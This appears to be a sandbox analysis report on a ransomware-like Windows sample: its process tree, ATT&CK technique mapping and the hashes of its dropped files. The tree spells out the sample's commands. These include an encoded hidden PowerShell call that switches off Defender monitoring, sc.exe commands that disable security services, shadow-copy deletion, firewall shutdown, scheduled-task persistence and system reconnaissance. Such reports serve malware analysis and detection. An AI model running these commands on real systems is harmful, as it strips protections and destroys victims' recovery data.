- Modifies Windows Defender DisableAntiSpyware settings
- Disables RegEdit via registry modification
- Drops file in Drivers directory
- Event Triggered Execution: Image File Execution Options Injection
- Creates a file in the Startup directory
- Adds Run key to start application
- Drops file in System32 directory
- Sets desktop wallpaper using registry
- Reads the TCP/IP host and domain name from the registry
- Modifies Control Panel
- Modifies registry class
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: GetForegroundWindowSpam
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:1252 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoP -NonI -W Hidden -Exec Bypass -Enc UwBlAHQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARABpAHMAYQBiAGwAZQBSAGUAYQBsAHQAaQBtAGUATQBvAG4AaQB0AG8AcgBpAG4AZwAgACQAdAByAHUAZQA7ACAAUwBlAHQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARABpAHMAYQBiAGwAZQBCAGUAaABhAHYAaQBvAHIATQBvAG4AaQB0AG8AcgBpAG4AZwAgACQAdAByAHUAZQA7ACAAQQBkAGQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgACIAQwA6AFwAUAByAG8AZwByAGEAbQBEAGEAdABhAFwAUwB5AHMAVQBwAGQAYQB0AGUAIgAgAC0ARgBvAHIAYwBlAA==2⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:5880
-
-
C:\Windows\System32\sc.exe"C:\Windows\System32\sc.exe" stop wscsvc2⤵
- Launches sc.exe
PID:4372
-
-
C:\Windows\System32\sc.exe"C:\Windows\System32\sc.exe" config wscsvc start= disabled2⤵
- Launches sc.exe
PID:3344
-
-
C:\Windows\System32\sc.exe"C:\Windows\System32\sc.exe" stop SecurityHealthService2⤵
- Launches sc.exe
PID:4340
-
-
C:\Windows\System32\sc.exe"C:\Windows\System32\sc.exe" config SecurityHealthService start= disabled2⤵
- Launches sc.exe
PID:2140
-
-
C:\Windows\System32\sc.exe"C:\Windows\System32\sc.exe" stop WinDefend2⤵
- Launches sc.exe
PID:5700
-
-
C:\Windows\System32\sc.exe"C:\Windows\System32\sc.exe" config WinDefend start= disabled2⤵
- Launches sc.exe
PID:4852
-
-
C:\Windows\System32\sc.exe"C:\Windows\System32\sc.exe" stop MsMpSvc2⤵
- Launches sc.exe
PID:6048
-
-
C:\Windows\System32\sc.exe"C:\Windows\System32\sc.exe" config MsMpSvc start= disabled2⤵
- Launches sc.exe
PID:2364
-
-
C:\Windows\System32\fodhelper.exe"C:\Windows\System32\fodhelper.exe"2⤵
- Suspicious use of WriteProcessMemory
PID:852 -
C:\Users\Admin\AppData\Local\Temp\socoliveev.tv_chrome.exe"C:\Users\Admin\AppData\Local\Temp\socoliveev.tv_chrome.exe"3⤵PID:1220
-
-
-
C:\Windows\System32\sc.exe"C:\Windows\System32\sc.exe" stop wscsvc2⤵
- Launches sc.exe
PID:404
-
-
C:\Windows\System32\sc.exe"C:\Windows\System32\sc.exe" stop wuauserv2⤵
- Launches sc.exe
PID:916
-
-
C:\Windows\System32\vssadmin.exe"C:\Windows\System32\vssadmin.exe" delete shadows /all /quiet2⤵
- Interacts with shadow copies
PID:5132
-
-
C:\Windows\System32\wbem\WMIC.exe"C:\Windows\System32\wbem\WMIC.exe" shadowcopy delete2⤵
- Reads the TCP/IP host and domain name from the registry
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2932
-
-
C:\Windows\System32\wscript.exe"C:\Windows\System32\wscript.exe" C:\Users\Admin\AppData\Local\Temp\makelnk.vbs2⤵
- Executes a VBScript file via the Windows Script Host.
PID:3412
-
-
C:\Windows\System32\schtasks.exe"C:\Windows\System32\schtasks.exe" /create /tn "SysUpdateTask" /tr "C:\Users\Admin\AppData\Local\Temp\socoliveev.tv_chrome.exe" /sc onlogon /f2⤵
- Scheduled Task/Job: Scheduled Task
PID:3608
-
-
C:\Windows\System32\schtasks.exe"C:\Windows\System32\schtasks.exe" /create /tn "SysUpdateBackup" /tr "C:\Users\Admin\AppData\Local\Temp\socoliveev.tv_chrome.exe" /sc minute /mo 30 /f2⤵
- Scheduled Task/Job: Scheduled Task
PID:3256
-
-
C:\Windows\System32\notepad.exe"C:\Windows\System32\notepad.exe"2⤵PID:2540
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\del.bat" "2⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:4976 -
C:\Windows\system32\vssadmin.exevssadmin delete shadows /all /quiet3⤵
- Interacts with shadow copies
PID:3392
-
-
C:\Windows\System32\Wbem\WMIC.exewmic shadowcopy delete3⤵
- Reads the TCP/IP host and domain name from the registry
- Suspicious behavior: EnumeratesProcesses
PID:6048
-
-
-
C:\Windows\SYSTEM32\cmd.exe"cmd.exe" /c systeminfo > "C:\ProgramData\SysUpdate\Logs\sysinfo.txt"2⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:1816 -
C:\Windows\system32\systeminfo.exesysteminfo3⤵
- Gathers system information
PID:1964
-
-
-
C:\Windows\SYSTEM32\cmd.exe"cmd.exe" /c tasklist > "C:\ProgramData\SysUpdate\Logs\tasklist.txt"2⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:828 -
C:\Windows\system32\tasklist.exetasklist3⤵
- Discovers running processes
PID:3488
-
-
-
C:\Windows\SYSTEM32\cmd.exe"cmd.exe" /c whoami > "C:\ProgramData\SysUpdate\Logs\whoami.txt"2⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:6000 -
C:\Windows\system32\whoami.exewhoami3⤵PID:696
-
-
-
C:\Windows\SYSTEM32\cmd.exe"cmd.exe" /c net user > "C:\ProgramData\SysUpdate\Logs\netuser.txt"2⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:2848 -
C:\Windows\system32\net.exenet user3⤵
- Suspicious use of WriteProcessMemory
PID:5956 -
C:\Windows\system32\net1.exeC:\Windows\system32\net1 user4⤵PID:124
-
-
-
-
C:\Windows\SYSTEM32\cmd.exe"cmd.exe" /c ipconfig /all > "C:\ProgramData\SysUpdate\Logs\ipconfig.txt"2⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:4196 -
C:\Windows\system32\ipconfig.exeipconfig /all3⤵
- Gathers network information
PID:3184
-
-
-
C:\Windows\SYSTEM32\cmd.exe"cmd.exe" /c netstat -an > "C:\ProgramData\SysUpdate\Logs\netstat.txt"2⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:5644 -
C:\Windows\system32\NETSTAT.EXEnetstat -an3⤵
- Gathers network information
PID:4640
-
-
-
C:\Windows\SYSTEM32\schtasks.exe"schtasks" /create /tn "RansomwareCheck" /tr "C:\Users\Admin\AppData\Local\Temp\socoliveev.tv_chrome.exe" /sc daily /f2⤵
- Scheduled Task/Job: Scheduled Task
PID:1840
-
-
C:\Windows\System32\wscript.exe"C:\Windows\System32\wscript.exe" C:\Users\Admin\AppData\Local\Temp\createshortcut.vbs2⤵
- Executes a VBScript file via the Windows Script Host.
PID:6088
-
-
C:\Windows\System32\vssadmin.exe"C:\Windows\System32\vssadmin.exe" delete shadows /all /quiet2⤵
- Interacts with shadow copies
PID:1776
-
-
C:\Windows\System32\wbem\WMIC.exe"C:\Windows\System32\wbem\WMIC.exe" shadowcopy delete2⤵
- Reads the TCP/IP host and domain name from the registry
- Suspicious behavior: EnumeratesProcesses
PID:5060
-
-
C:\Windows\System32\net.exe"C:\Windows\System32\net.exe" stop srservice2⤵
- Suspicious use of WriteProcessMemory
PID:2648 -
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop srservice3⤵PID:1468
-
-
-
C:\Windows\System32\netsh.exe"C:\Windows\System32\netsh.exe" advfirewall set allprofiles state off2⤵
- Modifies Windows Firewall
- Event Triggered Execution: Netsh Helper DLL
PID:5516
-
-
C:\Windows\System32\sc.exe"C:\Windows\System32\sc.exe" config i8042prt start= disabled2⤵
- Launches sc.exe
PID:5652
-
-
C:\Windows\System32\sc.exe"C:\Windows\System32\sc.exe" stop i8042prt2⤵
- Launches sc.exe
PID:5368
-
-
C:\Windows\system32\vssvc.exeC:\Windows\system32\vssvc.exe1⤵
- Suspicious use of AdjustPrivilegeToken
PID:1600
-
C:\Users\Admin\AppData\Local\Temp\socoliveev.tv_chrome.exeC:\Users\Admin\AppData\Local\Temp\socoliveev.tv_chrome.exe1⤵PID:2936
-
C:\Users\Admin\AppData\Local\Temp\socoliveev.tv_chrome.exeC:\Users\Admin\AppData\Local\Temp\socoliveev.tv_chrome.exe1⤵PID:5900
Network
MITRE ATT&CK Enterprise v16
Execution
Command and Scripting Interpreter
4PowerShell
1Visual Basic
1Windows Command Shell
1Scheduled Task/Job
1Scheduled Task
1System Services
2Service Execution
2Windows Management Instrumentation
1Persistence
Boot or Logon Autostart Execution
2Registry Run Keys / Startup Folder
2Create or Modify System Process
4Windows Service
4Event Triggered Execution
2Image File Execution Options Injection
1Netsh Helper DLL
1Scheduled Task/Job
1Scheduled Task
1Privilege Escalation
Boot or Logon Autostart Execution
2Registry Run Keys / Startup Folder
2Create or Modify System Process
4Windows Service
4Event Triggered Execution
2Image File Execution Options Injection
1Netsh Helper DLL
1Scheduled Task/Job
1Scheduled Task
1Defense Evasion
Direct Volume Access
1Impair Defenses
3Disable or Modify System Firewall
1Disable or Modify Tools
1Indicator Removal
2File Deletion
2Modify Registry
3Credential Access
Credentials from Password Stores
1Credentials from Web Browsers
1Unsecured Credentials
1Credentials In Files
1Replay Monitor
Loading Replay Monitor...
Downloads
- Path C:\ProgramData\SysUpdate\Scr\scr_20261023_061155.jpg
- Size 96KB
- SHA256 a46e05f745d32df19e53dc7ac4ebc79d1b3d2530a79dd033669506e0de11f6bf
- MD5 8b1fe1fcdee696e06353f54931cfdf37
- SHA1 0713c4bf9fa46a165135a8322eb2fd4250af2b99
- SHA512 4893321ee2ea53f8ba053cd9531a539d7077155c835a94b4ed594e39b0c055277bfb94fd38a6a8b025779a1285026d0307ef89e71cb67a38261cb52e2cb20311
- SSDEEP 1536:SxLd3VSAukVY4noAHEbPHgqlz7Yqd8SSSSSSSSSSSSSSSSSSSSSSSSSSSSSx94s:M4gnoAHCPgqlzsqj+s
- TLSH T16AA3BF478C4C8B47A42887E8BE431DAD6F492B0DE99236FF55261DCB7E147620D8E06F
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\SystemVolumeInformation\doc_2.pdf
- Size 76KB
- SHA256 17ae590df5e7f6de00a5222a30f7d2deea822b34eb284f5c415caf453dbf3118
- MD5 3fca3fe9f16a0bb8494ac9fc76b6b339
- SHA1 0444e25b4531dd44a17974a4b553f00f9ee627e7
- SHA512 6771dc077cef9cdbe520ae7e9e362f628760dfb7179300ee163dcba34243f81b86cb62287d42a2a875459a8efe98ba1ec2f43c698cab326f328cb40c032ffb54
- SSDEEP 1536:cOjZTHDKoukdeMBBbkNP3PyKsGw6lDPX8XW15Ji75Muvc140zzOCJVQwpKP4iWX:cOjZvjukQ6bEsGv1X8XW15Ji75DUe0zj
- TLSH T16273F8368F23FCD4277F3D90E0502E462C882E678775667CFA850DA66AA5640CF3D59C
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_ggxbfli4.vdj.psm1
- Size 60B
- SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
- MD5 d17fe0a3f47be24a6453e9ef58c94641
- SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
- SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
- TLSH T177A02228CC303B200020C0080A000002C00B800C080C8C0220000A00B20B820002F080
- MD5 SHA1 SHA512 TLSH
- Path C:\Users\Admin\AppData\Local\Temp\createshortcut.vbs
- Size 245B
- SHA256 d1d838c8b83433d8e3ade1d213692b68187fbe45a63720473f02e46aec0a0959
- MD5 b164bf4df5fc37a7dbd18cb8def5dbe7
- SHA1 67b2fd16a311790f3b0312c2a736ac40cdd2aadf
- SHA512 3178568f6b5747fb536e7b83d628a0ab8954bb1df8b7b34bad9c24880a60c71fb15fa37bc926d8f63468955120a2dc3012a13d1f1ab83ba033a2b15b5e89b459
- TLSH T1F0D0978BB248C2B90000263B80F3CD4CEAE148293B03BF605AA5CC0D329188089F6143
- MD5 SHA1 SHA512 TLSH
- Path C:\Users\Admin\AppData\Local\Temp\del.bat
- Size 59B
- SHA256 a51f2a0f053ac35b4158bb02b75421ab3698e1d0ee4f926abf1bae3af1570c53
- MD5 9cecbebdcdd60358132849714a3b82f7
- SHA1 be6e20834a5726f3742f05e6bdfaff16118b147f
- SHA512 7b48bd66b4c741d2de2e8b7bc0eab8f438ddc1ed0c73e8b70add9bee400f6640f692884965032616e2d6911a22a17d1d3762421aa49fe021660c9052cfc0675a
- TLSH T13DA002620F961E5469529E5AD73425239D1F104CD1390012F05232903DA98DE0EC2144
- MD5 SHA1 SHA512 TLSH
- Path C:\Users\Admin\AppData\Local\Temp\makelnk.vbs
- Size 246B
- SHA256 1402429f9330fbead98dcd33ba0419d9dc1876d8346857c7422462ab9b5904b4
- MD5 19bc8c15b84298329df0b27164a370d0
- SHA1 957e81d55d91ff14eae9c5548c4ad320572ec381
- SHA512 ad952e13ce583bead92e4250e18d594d7f905297caf40823c4a35aacbedadf21645b93c92867d912e259b86bd3db9485164f83876c780753ff5f8b9852da5e5c
- TLSH T157D0A78BB249C6B90001263B80F3DD4CEAE258693F13BF61AA65DD0E329189589F6543
- MD5 SHA1 SHA512 TLSH
- Path C:\Users\Admin\AppData\Local\Temp\temp_steal.log
- Size 128KB
- SHA256 f63cadbeb3e175e16d8850e59882fc04190bb1306e9ed66cdf959e68018e8ab0
- MD5 b9edd9da2badaf7f45ca026aa6ea2d07
- SHA1 93dd06e2701dcda84520ada4026a24d9d49b7ca1
- SHA512 030dbb3233a1b3b2e31e5e70b844e341a283c4b4378f3df3be293c13d7b007be614c7bbd6b5c9966fc027ccaab589d882deeefd686b177ad2abeeade46df3fb4
- SSDEEP 1536:maR27L3rUsjenkV7cT2+sVb2r1QXRrqBjxOlTKS:m9XIsyne7cT2+Nr+kdOhKS
- TLSH T1E3D30611C2B39E7615960BAF180636D4F439B7B482EC84FF61A6AE73F4739B6D20C641
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Users\Admin\Desktop\stolen_data_here.txt
- Size 129KB
- SHA256 c55f159e3e38740b7443ebda5b16bdd77cf55cf99af5e4cadc0f86248018893b
- MD5 05d2f3adba6f327b22b5a2f2a4ff6bf7
- SHA1 366a6e10671fcad84b51f5f2b73f62add39bc2bc
- SHA512 d2c5aede360ce2a3de3788e6288d561c6f155e3754362d90d9803ab904bd69d1e1a7cc5cb10ab32df6fd22fa2c433f426c6c4a3e5eb55fe90db6b93dab8629f9
- SSDEEP 1536:saR27L3rUsjenkV7cT2+sVb2r1QXRrqBjxOlTKd:s9XIsyne7cT2+Nr+kdOhKd
- TLSH T1F2D30611C2F39E7605960BAF180636D4F439B7B482EC84FF61A6AE63F4739B6D20C641
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Users\Admin\Documents\invoice_1.pdf
- Size 76KB
- SHA256 d665be2670625f1f6593c908008e1d6aeb09a1c26065caffb497b6e8d6d6ddf4
- MD5 899072545969fefd68057873b2ba018c
- SHA1 6c17fd1fcd40617f34556986c1f92590eac19a99
- SHA512 feb176e793e24ab0a23f369a408c1693c7e678c7959bb87943c9688d4867bb65c02cdb9dc51c4094b35614e2f466dc813dbe7875a0def2d949eb89d46c96a5d6
- SSDEEP 1536:8OjZTHDKoukdeMBBbkNP3PyKsGw6lDPX8XW15Ji75Muvc140zzOCJVQwpKP4iW0:8OjZvjukQ6bEsGv1X8XW15Ji75DUe0zo
- TLSH T1AE73F8368F22FCD4277E3D90E0503E462C883E6787B5667CFA850DA66AA5640CF3D59C
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Users\Admin\READ_ME_NANOCORE.txt
- Size 145B
- SHA256 7057e5f2042a9706c5d18b7d05214373577eb0293599d361bf66cfba3a3eee4f
- MD5 d7ea02f4c4953d6a3f52b5d0ecbeb047
- SHA1 ce3a66707cabbbeaa0980b91d3b6271fc84145cb
- SHA512 441ac2261f8c29eed640bdddfd5195f9fe5fe5fb0f08a77bbebdb4507819e8717855e5485f554986eb0f69ee55d1fa5939c3f7dc84a333f9d78a15973df56f70
- TLSH T156C02B572EE03298B1C036C20A0A4CA2A76D470CD605C6582A2FC42033001EE2E41130
- MD5 SHA1 SHA512 TLSH
- Path F:\RANSOM_NOTE.txt
- Size 177B
- SHA256 bfd4ed4bcd78100294aeaee2c2b4b8e37fb372b61cdcaa2a14f50ebe4b708e93
- MD5 c381da16f24527b361930429b75608ad
- SHA1 cc68fc2b7246e2b7611b3a1798a7dd3ad5b1c912
- SHA512 e79ae7b36ed481285d8fd080a69e080b637b0eaff67bcb53d0f27c89a984dd70f913d1f69cb306e0b96116b898227814eea36e8e3cfd03302c4455b28da89545
- TLSH T121C0C00B3EC4377822CC21E209018C12914EEA0CAA044254022BC9109EA496D30D44B3
- MD5 SHA1 SHA512 TLSH